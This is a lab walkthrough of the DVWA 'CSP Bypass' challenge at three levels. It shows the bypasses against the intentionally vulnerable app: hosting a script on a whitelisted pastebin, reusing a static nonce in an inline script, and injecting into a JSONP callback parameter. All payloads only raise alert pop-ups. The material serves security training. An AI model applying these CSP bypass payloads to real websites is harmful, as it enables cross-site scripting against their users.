Refer to the post start DVWA with Docker to learn how to start DVWA. I will mostly use Burp Suite to solve the challenges. To configure Burp suite refer to the post configure burp suite for DVWA. Click on the CSP Bypass button on the left menu to access the challenge.
We are greeted by the following message and a text input:
You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:
We try to write some random text in the input and click Include
.
If we examine the response headers we can view the CSP rules :
Name | Value |
---|---|
Content-Security-Policy | script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ; |
Here we see that scripts may be loaded from the following sites :
CSP stands for Content Security Policy. This is a set of rules, sent to the server from the browser that specifies how the browser can load content such as a web page, images, or JavaScript libraries. For instance let's take a look at the following rule :
default-src 'self'; img-src *; script-src https://userscripts.example.com
Rule | Description |
---|---|
default-src 'self' | Any content type is safe to load from the communicating server |
img-src * | Images may be loaded from any domain |
script-src https://userscripts.example.com | scripts may only be loaded from https://userscripts.example.com |
Scripts may be loaded from the following sites :
The vulnerability here is that pastebin is a site that lets us create our own content. We can go on pastebin.com and create a paste with the following script :
alert("pwned!");
Once the paste is created, we get an id for it. We can access to the raw paste by appending /raw/
before the ID.
We get the link to the raw
paste and put it in our input.
When we click Include the page reloads, downloads our script from pastebin and executes it.
And we can see a pop-up with the text pwned!.
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
## https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
As we saw, the server allows the user to include script from http://pastebin.com. By doing so the server puts its trust in a external party over which it has no control.
Scripts from third party websites should not be accepted unless it is necessary.
The medium level differs a little from the low level. We are greeted by the following message:
Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.
If we try to enter test
we can see that it is added to the page's source.
<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>
<div class="vulnerable_code_area">
test
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
</div>
A simple XSS <script>alert(1)</script>
doesn't work.
<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>
<div class="vulnerable_code_area">
<script>alert(1)</script>
It might be because we are in the div with the class vulnerable_code_area ?
If we try to escape from it with </div><script>alert(1)</script><div>
, it doesn't work either:
<h1>Vulnerability: Content Security Policy (CSP) Bypass</h1>
<div class="vulnerable_code_area">
</div><script>alert(1)</script><div>
Let's take a look at the Content-Security-Policy from the response headers. The CSP is the following :
script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
Here is the official documentation for each of these parameters.
CSP parameter | Description |
---|---|
self | Allows loading resources from the same origin (same scheme, host and port). |
self-inline | Allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) and javascript: URIs |
nonce | Allows script or style tag to execute if the nonce attribute value matches the header value. For example: <script nonce="2726c7f26c">alert("hello");</script> |
Apparently for our script tag to work we need to add the tag nonce
with the correct value.
The thing is... the nonce never changes ! So it is extra easy to do it, we just
paste the following code in the input and sure enough we get our pop-up:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("hello");</script>
This level indication is:
The page makes a call to ../..//vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code. 1+2+3+4+5=
When we click Solve the sum
, we get :
The page makes a call to ../..//vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code. 1+2+3+4+5=15
When we take a look at the event triggered upon clicking the button, here is the code we find:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
When we click on the button, a script tag is created.
The source of the script is set to the file jsonp.php
.
When we click the button, the form is sent with the callback function within its parameter callback
:
GET /vulnerabilities/csp/source/jsonp.php?callback=solveSum HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=120fgd8orft160g1ot137588k2; security=high
Connection: close
Pragma: no-cache
Cache-Control: no-cache
If we intercept the request and change the callback function from solveSum
to alert("hello")//
, we manage to create a pop up despite the Content Security Policy.